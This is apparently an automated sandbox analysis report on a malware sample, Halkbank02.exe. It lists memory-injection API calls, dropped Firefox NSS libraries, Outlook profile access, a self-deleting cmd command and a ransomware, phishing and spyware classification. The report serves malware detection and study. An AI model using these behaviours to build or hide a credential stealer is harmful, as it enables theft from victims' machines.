Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00402B84 1_2_00402B84
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_0040298D 1_2_0040298D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A0E15 1_2_022A0E15
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AA2B9 1_2_022AA2B9
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A08DF 1_2_022A08DF
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A614D 1_2_022A614D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A65A4 1_2_022A65A4
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A11E1 1_2_022A11E1
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A122A 1_2_022A122A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A022B 1_2_022A022B
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A2024 1_2_022A2024
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A4E25 1_2_022A4E25
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A060B 1_2_022A060B
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AA00E 1_2_022AA00E
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A146E 1_2_022A146E
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A3673 1_2_022A3673
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A0A46 1_2_022A0A46
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A1C46 1_2_022A1C46
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8452 1_2_022A8452
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A2850 1_2_022A2850
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A18AE 1_2_022A18AE
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A4AA3 1_2_022A4AA3
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A9AA0 1_2_022A9AA0
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A38A1 1_2_022A38A1
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A46B6 1_2_022A46B6
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A248A 1_2_022A248A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8E8E 1_2_022A8E8E
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A628F 1_2_022A628F
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A3093 1_2_022A3093
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A7294 1_2_022A7294
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A98EA 1_2_022A98EA
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A28EB 1_2_022A28EB
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8EE0 1_2_022A8EE0
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A90F3 1_2_022A90F3
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A22F6 1_2_022A22F6
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A52C8 1_2_022A52C8
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AA8D9 1_2_022AA8D9
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A50D3 1_2_022A50D3
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AACD7 1_2_022AACD7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A352D 1_2_022A352D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A6F22 1_2_022A6F22
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A630A 1_2_022A630A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A9B0D 1_2_022A9B0D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A2F1D 1_2_022A2F1D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8D6F 1_2_022A8D6F
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A5963 1_2_022A5963
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A1B72 1_2_022A1B72
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A9149 1_2_022A9149
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A1340 1_2_022A1340
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A9745 1_2_022A9745
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8F56 1_2_022A8F56
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A4983 1_2_022A4983
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A6781 1_2_022A6781
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A1592 1_2_022A1592
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A85E3 1_2_022A85E3
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A4DF9 1_2_022A4DF9
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A41F0 1_2_022A41F0
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AA7C9 1_2_022AA7C9
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A99C2 1_2_022A99C2
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A9DC3 1_2_022A9DC3
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A9DC1 1_2_022A9DC1
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A05DF 1_2_022A05DF
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A69DD 1_2_022A69DD
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A37D2 1_2_022A37D2
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A4DD3 1_2_022A4DD3
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A89D6 1_2_022A89D6
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A0E15 NtWriteVirtualMemory,LoadLibraryA, 1_2_022A0E15
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AA2B9 NtWriteVirtualMemory,K32GetDeviceDriverBaseNameA, 1_2_022AA2B9
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A65A4 NtWriteVirtualMemory,NtAllocateVirtualMemory, 1_2_022A65A4
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A11E1 NtWriteVirtualMemory,TerminateProcess,LoadLibraryA, 1_2_022A11E1
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AA1D8 NtProtectVirtualMemory, 1_2_022AA1D8
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A2024 NtWriteVirtualMemory, 1_2_022A2024
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AA254 NtProtectVirtualMemory, 1_2_022AA254
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A52C8 NtWriteVirtualMemory, 1_2_022A52C8
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A50D3 NtWriteVirtualMemory, 1_2_022A50D3
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022AACD7 NtWriteVirtualMemory, 1_2_022AACD7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A352D NtWriteVirtualMemory,LoadLibraryA, 1_2_022A352D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8D6F NtWriteVirtualMemory, 1_2_022A8D6F
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A5963 NtWriteVirtualMemory, 1_2_022A5963
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A6781 NtWriteVirtualMemory,LoadLibraryA, 1_2_022A6781
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A85E3 NtWriteVirtualMemory, 1_2_022A85E3
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A4DF9 NtWriteVirtualMemory, 1_2_022A4DF9
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A41F0 NtWriteVirtualMemory, 1_2_022A41F0
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A4DD3 NtWriteVirtualMemory, 1_2_022A4DD3
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\Halkbank02.exe Process Stats: CPU usage > 98%
PE file does not import any functions
Source: api-ms-win-core-util-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.28.dr Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: Halkbank02.exe, 00000001.00000000.235179747.0000000000418000.00000002.00020000.sdmp Binary or memory string: OriginalFilenamemeduse.exe vs Halkbank02.exe
Source: Halkbank02.exe, 00000001.00000002.562536410.0000000002180000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamemeduse.exeFE2XGeneral court% vs Halkbank02.exe
Source: Halkbank02.exe Binary or memory string: OriginalFilename vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.872117132.000000001EFC4000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameapisetstubj% vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.881018739.000000001F820000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamevcruntime140.dll^ vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamenss3.dll0 vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamenssdbm3.dll0 vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamesoftokn3.dll0 vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameucrtbase.dllj% vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamefreebl3.dll0 vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamemozglue.dll0 vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000003.876940692.000000001F530000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamemsvcp140.dll^ vs Halkbank02.exe
Source: Halkbank02.exe, 0000001C.00000000.557120833.0000000000418000.00000002.00020000.sdmp Binary or memory string: OriginalFilenamemeduse.exe vs Halkbank02.exe
Source: Halkbank02.exe Binary or memory string: OriginalFilenamemeduse.exe vs Halkbank02.exe
PE file contains strange resources
Source: Halkbank02.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\Halkbank02.exe Section loaded: crtdll.dll Jump to behavior
Source: Halkbank02.exe ReversingLabs: Detection: 13%
Source: Halkbank02.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Halkbank02.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Section loaded: C:\Windows\SysWOW64\msvbvm60.dll Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Halkbank02.exe 'C:\Users\user\Desktop\Halkbank02.exe'
Source: C:\Users\user\Desktop\Halkbank02.exe Process created: C:\Users\user\Desktop\Halkbank02.exe 'C:\Users\user\Desktop\Halkbank02.exe'
Source: C:\Users\user\Desktop\Halkbank02.exe Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\system32\cmd.exe' /c C:\Windows\system32\timeout.exe 3 & del 'Halkbank02.exe'
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\Halkbank02.exe Process created: C:\Users\user\Desktop\Halkbank02.exe 'C:\Users\user\Desktop\Halkbank02.exe' Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\system32\cmd.exe' /c C:\Windows\system32\timeout.exe 3 & del 'Halkbank02.exe' Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3 Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\ Jump to behavior
Source: classification engine Classification label: mal100.rans.phis.troj.spyw.evad.winEXE@8/53@2/3
Source: C:\Users\user\Desktop\Halkbank02.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: SELECT ALL id FROM %s;
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index */ path TEXT, /* Path to page from root */ pageno INTEGER, /* Page number */ pagetype TEXT, /* 'internal', 'leaf' or 'overflow' */ ncell INTEGER, /* Cells on page (0 for overflow) */ payload INTEGER, /* Bytes of payload on this page */ unused INTEGER, /* Bytes of unused space on this page */ mx_payload INTEGER, /* Largest payload size of all cells */ pgoffset INTEGER, /* Offset of page in file */ pgsize INTEGER, /* Size of the page */ schema TEXT HIDDEN /* Database schema being analyzed */);
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: C:\Users\user\Desktop\Halkbank02.exe Mutant created: \Sessions\1\BaseNamedObjects\AE86A6D5-F9414907-A57CDE79-F44B36F3-391C74315
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4016:120:WilError_01
Source: C:\Users\user\Desktop\Halkbank02.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Jump to behavior
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-locale-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876327978.000000001F490000.00000004.00000001.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp, mozglue.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nss3.dll.28.dr
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: Halkbank02.exe, 0000001C.00000003.874818070.00000000200E0000.00000004.00000001.sdmp, api-ms-win-core-file-l1-2-0.dll.28.dr
Source: Binary string: ucrtbase.pdb source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, ucrtbase.dll.28.dr
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-memory-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp, freebl3.dll.28.dr
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874674316.00000000200D4000.00000004.00000001.sdmp, api-ms-win-core-debug-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875491758.000000001F448000.00000004.00000001.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876327978.000000001F490000.00000004.00000001.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874899344.00000000200EC000.00000004.00000001.sdmp, api-ms-win-core-heap-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875685309.000000001F450000.00000004.00000001.sdmp, api-ms-win-core-util-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-synch-l1-1-0.dll.28.dr
Source: Binary string: vcruntime140.i386.pdbGCTL source: Halkbank02.exe, 0000001C.00000003.881018739.000000001F820000.00000004.00000001.sdmp, vcruntime140.dll.28.dr
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-environment-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp, mozglue.dll.28.dr
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.869027129.000000001F838000.00000004.00000001.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-processthreads-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Halkbank02.exe, 0000001C.00000003.872382699.000000001EFC4000.00000004.00000001.sdmp, freebl3.dll.28.dr
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000002.901129963.000000001F860000.00000004.00000001.sdmp, api-ms-win-core-console-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874818070.00000000200E0000.00000004.00000001.sdmp, api-ms-win-core-file-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-private-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876256297.000000001F478000.00000004.00000001.sdmp, api-ms-win-crt-private-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-convert-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr
Source: Binary string: msvcp140.i386.pdb source: Halkbank02.exe, 0000001C.00000003.876940692.000000001F530000.00000004.00000001.sdmp, msvcp140.dll.28.dr
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-profile-l1-1-0.dll.28.dr
Source: Binary string: ucrtbase.pdbUGP source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, ucrtbase.dll.28.dr
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.872117132.000000001EFC4000.00000004.00000001.sdmp, api-ms-win-crt-time-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nssdbm3.dll.28.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874899344.00000000200EC000.00000004.00000001.sdmp, api-ms-win-core-handle-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: Halkbank02.exe, 0000001C.00000003.870977200.000000001F83C000.00000004.00000001.sdmp, api-ms-win-core-synch-l1-2-0.dll.28.dr
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-processenvironment-l1-1-0.dll.28.dr
